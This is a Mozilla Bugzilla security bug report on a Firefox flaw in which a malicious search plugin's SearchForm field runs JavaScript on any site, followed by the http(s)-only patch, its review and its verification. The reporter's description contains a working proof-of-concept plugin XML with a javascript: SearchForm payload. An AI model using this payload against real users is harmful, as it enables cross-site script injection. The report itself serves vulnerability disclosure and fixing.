The default bug view has changed. See this FAQ.

non-http[s] SearchForm URIs should be ignored (possible XSS if a malicious search plugin is installed)

VERIFIED FIXED in Firefox 3.6a1

Status

()

Firefox
Search
P1
normal
VERIFIED FIXED
8 years ago
4 years ago

People

(Reporter: Prateek, Assigned: rflint)

Tracking

(Depends on: 1 bug, {fixed1.8.1.22, verified1.9.0.9, verified1.9.1})

3.5 Branch
Firefox 3.6a1
fixed1.8.1.22, verified1.9.0.9, verified1.9.1
Points:
---
Bug Flags:
blocking-firefox3.5 -
wanted1.9.0.x +
blocking1.8.1.next +
wanted1.8.1.x +
in-testsuite +
in-litmus -

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:moderate])

Attachments

(2 attachments)

(Reporter)

Description

8 years ago
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.7) Gecko/2009030422 Ubuntu/8.04 (hardy) Firefox/3.0.7
Build Identifier: 3.0.7

If the attacker the trick the user into his search plugin, then the attacker can inject JS into any web site using the XML below.  

<SearchPlugin xmlns="http://www.mozilla.org/2006/browser/search/">
<ShortName>FOO.com</ShortName>
<Description>Foo.com Search Engine - Better Web Search</Description>
<InputEncoding>UTF-8</InputEncoding>
<Image width="16" height="16">data:image/x-icon;base64,AAABAAEAEBAAAAEACABoBQAAFgAAACgAAAAQAAAAIAAAAAEACAAAAAAAQAEAAAAAAAAAAAAAAAEAAAAAAACbm5sAAADJAAAA1gAAANMAAADYAAAAyACcnJ0AAADLAAEBywDCwsAAjIy2AH9/gwBdXa4AAAC5AAAAygAwMOEAMjLgADMzvQAEBHwAaGipAAAAzwCtsLEAhYWgAAsLygDq6toAQkK3AGZnigA5O84ACAiuANjY3wAICIsAAADAAGVljgAEBIQAAADfAGNiegAREZAAwsLzAAcHkwAEBZ0Ag4jOAC0twAALC7QAqK7dAKSq1wBycqQABATQAPT04ACYm74ARkaOALO09wAmJnQAJSXJADw9fwAzNc4ALzDCAHp6pACdnZkApKevAL29sQD5+foAkpKcAOzs4AAMDMoAPj7iAKGinACvr6oAT0/wAAwNyQAAANIAlJTaAN/f0QCcnZ0AAADRAF5erQAAAJ8AAADDAAAAzAA1NrwAMTGfAAkJ1QAAAMQAWlqvAHJ31wDMzMAAFhbHAAAAiQBERNIA8fHmAAgI1gCys6oAu7v4AD09ngDDwfoABgbOAM7N9wCYmPUAKyuOABkZmgAyMsEAiYq8AHp68gDDw5sAAgLPALW2rwCdnZgAAAC9AAMD1wCenpgA9fX1AAAArQCCgrIA0dLYAK+vnwB3e9kA5ubSAOfn+AClp6cA3NzDAMHHygBQU9MABATCAG5z2gAcHMQAio/aAAAA2QD19fwAnaHIAIaGogDm5uoAk5N0AK+ytAAMDNUAAAAAAP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////////////////////////////////////////////////////////+DBgAAAAAASBX///////8GEzQ/Ll5VEUo9aXX///86e08hAg1qUUUiaymAOXf/NxQlglZvIzgzHksFeQxs/xcBEG1aWC1lc2YgCmEEUkE2BwFdaHAkQ3RGRxgqAmcWKwgFD1Q7Yn4xYzx2En0DGf9TBwFbLyZgCVwdQgtuBE7//3xEQD4nA1BZgTVXHwIw/////3pkHEkOTV8aTIR//////////yxyeBsycSj/////////////////////////////////////////////////AAD//wAA//8AAMAfAACABwAAAAEAAAABAAAAAAAAAAAAAAAAAACAAAAAwAAAAPABAAD8BwAA//8AAP//AAA=</Image>
<Url type="text/html" method="GET" template="http://www.ask.com/web">
  <Param name="q" value="{searchTerms}"/>
  <Param name="o" value="1576"/>
  <Param name="l" value="dis"/>
</Url>
<SearchForm>javascript:{aaa=function(){alert('You are owned');document.location="http://www.ask.com";}; aaa();}</SearchForm>
</SearchPlugin>

Reproducible: Always
Component: Security → Search
Product: Core → Firefox
QA Contact: toolkit → search
OS: Linux → All
Hardware: x86 → All
Whiteboard: [sg:investigate]
(In reply to comment #0)
> If the attacker the trick the user into his search plugin, then the attacker
> can inject JS into any web site using the XML below.

... assuming they can convince the user to also complete an empty search (pressing enter into the search bar with no text entered), since that's the only time we use the SearchForm value.

But yeah, we should filter the SearchForm value the same way we already filter templateURI and the IconURL.
Status: UNCONFIRMED → NEW
Ever confirmed: true

Comment 2

8 years ago
Prateek put up a test case here:

http://webblaze.org/prateeks/bad.html
Summary: UXSS using search plugins .xml → SearchForm should only allow http[s] URIs
Summary: SearchForm should only allow http[s] URIs → non-http[s] SearchForm URIs should be ignored (possible XSS if a malicious search plugin is installed)
Whiteboard: [sg:investigate] → [sg:moderate]
"moderate", really? An untrustworthy search plugin can already snoop on all your searches and potentially return hacked results which seems much more reliably bad than hoping you accidentally do a blank search on an interesting site. But it just sits there waiting and you only have to make that mistake once; OK, I'll buy "moderate".
Gavin, if you're not doing search plugins stuff anymore please assign to the correct person.
Assignee: nobody → gavin.sharp
Flags: wanted1.9.0.x+
Flags: blocking1.9.0.8?
I can take this.
Assignee: gavin.sharp → rflint
Status: NEW → ASSIGNED
Flags: blocking-firefox3.1?
Priority: -- → P1
Target Milestone: --- → Firefox 3.2a1
Don't think we'd hold Shiretoko on this, but would obviously take a fix if there's a trivial one to be taken.
Flags: blocking-firefox3.1? → blocking-firefox3.1-
If the fix is as trivial as comment 1 implies we'd really like a patch in 1.9.0.8 -- but code-freeze is tomorrow night (Mar 17) so we'd need a reviewed patch ASAP to approve. Otherwise we'll block on the next release.
Flags: blocking1.9.0.8? → blocking1.9.0.9+
Created attachment 367754 [details] [diff] [review]
Patch

This patch quietly drops SearchForms which aren't http(s). I've gone the quiet route because it's the most self-contained for a branch landing and will protect, but not outright break users who may have plugins containing SearchForms with invalid schemes already installed (plus I don't need to stub out prompts to test it).
The tests are in browser/ to make them easier to add to 1.9.0, I'll be sure to add them to the search test suite so they get migrated over to toolkit for 1.9.1+.
Attachment #367754 - Flags: review?(gavin.sharp)
Comment on attachment 367754 [details] [diff] [review]
Patch

>diff --git a/toolkit/components/search/nsSearchService.js b/toolkit/components/search/nsSearchService.js

>+  set _searchForm(aValue) {
>+    if (/^https?:/i.test(aValue))
>+      this.__searchForm = aValue;
>+    else
>+      LOG("_searchForm: Invalid URL dropped for " + this._name ||
>+          "the current engine");

Can _name really be null here?

Should the cache switch to setting/saving __searchForm rather than going through the setter each time? I suppose that would require a version bump...

I still think we should try to consolidate the scheme filtering for template/iconURI/searchForm, get a followup filed on that perhaps?
Attachment #367754 - Flags: review?(gavin.sharp) → review+
Comment on attachment 367754 [details] [diff] [review]
Patch

(In reply to comment #9)
> Can _name really be null here?
Yeah, during parsing if SearchForm comes before ShortName in the description.

> Should the cache switch to setting/saving __searchForm rather than going
> through the setter each time? I suppose that would require a version bump...
I'll change it do that and bump the cache version on checkin.

> I still think we should try to consolidate the scheme filtering for
> template/iconURI/searchForm, get a followup filed on that perhaps?
Sure, I left it out of this version because of the different scheme requirements for each, but I'll file a bug to see if we can't change that.
Attachment #367754 - Flags: approval1.9.0.8?
Attachment #367754 - Flags: approval1.9.1?
Attachment #367754 - Flags: approval1.9.0.8? → approval1.9.0.8+
Comment on attachment 367754 [details] [diff] [review]
Patch

Approved for 1.9.0.8, a=dveditz for release-drivers
Flags: blocking1.9.0.9+
Comment on attachment 367754 [details] [diff] [review]
Patch

a191=beltzner
Attachment #367754 - Flags: approval1.9.1? → approval1.9.1+
mozilla/browser/components/search/nsSearchService.js 1.112
mozilla/browser/components/search/test/483086-1.xml 1.1
mozilla/browser/components/search/test/483086-2.xml 1.1
mozilla/browser/components/search/test/Makefile.in 1.4
mozilla/browser/components/search/test/browser_483086.js 1.1
Keywords: fixed1.9.0.8
http://hg.mozilla.org/releases/mozilla-1.9.1/rev/87ebf1fc30f1
Flags: in-testsuite+
Flags: in-litmus-
Keywords: fixed1.9.1
http://hg.mozilla.org/mozilla-central/rev/198155c14694
Status: ASSIGNED → RESOLVED
Last Resolved: 8 years ago
Resolution: --- → FIXED
On which machine the mochitests will be run? I'm not able to find the results. It's not the unit test one...
It's not a mochitest, it's a browser chrome test. It runs on the normal unit test machines, e.g.:

http://tinderbox.mozilla.org/showlog.cgi?log=Firefox/1237468237.1237475679.27591.gz&fulltext=1

Search for "chrome://mochikit/content/browser/browser/components/search/test/browser_483086.js".
Verified based on results from the automated tests on trunk and 1.9.1.
Status: RESOLVED → VERIFIED
Keywords: fixed1.9.1 → verified1.9.1
Version: unspecified → 3.1 Branch
Verified for 1.9.0.8 using browser_483086.js test.
Keywords: fixed1.9.0.8 → verified1.9.0.8
Flags: wanted1.8.1.x+
Flags: blocking1.8.1.next+

Comment 20

8 years ago
For 1.8 line it affects only firefox, right? Seamonkey looks safe.
AFAIK SeaMonkey doesn't use this code at all, on any branch.
Group: core-security

Comment 22

8 years ago
Created attachment 374772 [details] [diff] [review]
same for browser/ nsSearchService on 1.8 branch

verified that the "owned" alert does not pop up with this patch.
Attachment #374772 - Flags: approval1.8.1.next?
Attachment #374772 - Flags: approval1.8.1.next? → approval1.8.1.next+
Comment on attachment 374772 [details] [diff] [review]
same for browser/ nsSearchService on 1.8 branch

Approved for 1.8.1.22. a=ss for release-drivers
Fix checked into the 1.8.1 branch
Keywords: fixed1.8.1.22

Updated

4 years ago
Depends on: 920487
You need to log in before you can comment on or make changes to this bug.